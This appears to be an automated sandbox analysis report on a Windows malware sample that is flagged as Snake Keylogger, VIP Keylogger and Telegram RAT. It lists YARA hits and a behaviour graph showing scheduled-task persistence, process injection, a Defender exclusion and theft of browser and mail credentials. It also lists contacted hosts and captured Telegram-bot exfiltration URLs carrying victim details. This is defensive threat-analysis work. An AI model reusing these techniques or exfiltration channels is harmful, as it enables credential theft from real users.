Source: Yara match File source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2449144517.000000000703B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2996, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2996, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1650615 Sample: b5Tu0LaQfn6bnAD.exe Startdate: 27/03/2025 Architecture: WINDOWS Score: 100 52 reallyfreegeoip.org 2->52 54 api.telegram.org 2->54 56 2 other IPs or domains 2->56 58 Suricata IDS alerts for network traffic 2->58 60 Found malware configuration 2->60 62 Malicious sample detected (through community Yara rule) 2->62 68 11 other signatures 2->68 8 b5Tu0LaQfn6bnAD.exe 7 2->8         started        12 IFZCSslt.exe 2->12         started        signatures3 64 Tries to detect the country of the analysis system (by using the IP) 52->64 66 Uses the Telegram API (likely for C&C communication) 54->66 process4 file5 38 C:\Users\user\AppData\Roaming\IFZCSslt.exe, PE32 8->38 dropped 40 C:\Users\...\IFZCSslt.exe:Zone.Identifier, ASCII 8->40 dropped 42 C:\Users\user\AppData\Local\...\tmp1110.tmp, XML 8->42 dropped 44 C:\Users\user\...\b5Tu0LaQfn6bnAD.exe.log, ASCII 8->44 dropped 70 Uses schtasks.exe or at.exe to add and modify task schedules 8->70 72 Writes to foreign memory regions 8->72 74 Allocates memory in foreign processes 8->74 76 Adds a directory exclusion to Windows Defender 8->76 14 powershell.exe 23 8->14         started        17 vbc.exe 15 2 8->17         started        20 powershell.exe 23 8->20         started        22 schtasks.exe 1 8->22         started        78 Antivirus detection for dropped file 12->78 80 Multi AV Scanner detection for dropped file 12->80 82 Injects a PE file into a foreign processes 12->82 24 vbc.exe 12->24         started        26 schtasks.exe 12->26         started        signatures6 process7 dnsIp8 84 Loading BitLocker PowerShell Module 14->84 28 conhost.exe 14->28         started        30 WmiPrvSE.exe 14->30         started        46 api.telegram.org 149.154.167.220, 443, 49735, 49757 TELEGRAMRU United Kingdom 17->46 48 checkip.dyndns.com 193.122.6.168, 49715, 49720, 49722 ORACLE-BMC-31898US United States 17->48 50 reallyfreegeoip.org 104.21.112.1, 443, 49716, 49718 CLOUDFLARENETUS United States 17->50 32 conhost.exe 20->32         started        34 conhost.exe 22->34         started        86 Tries to steal Mail credentials (via file / registry access) 24->86 88 Tries to harvest and steal browser information (history, passwords, etc) 24->88 36 conhost.exe 26->36         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
104.21.112.1
 reallyfreegeoip.org United States
13335 CLOUDFLARENETUS false
193.122.6.168
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false

Contacted Domains

Name IP Active
reallyfreegeoip.org 104.21.112.1 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 193.122.6.168 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://checkip.dyndns.org/ false
    		high
    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2027/03/2025%20/%2022:31:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		high
      https://reallyfreegeoip.org/xml/45.92.229.138 false
        		high
        https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2028/03/2025%20/%2001:09:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
          		high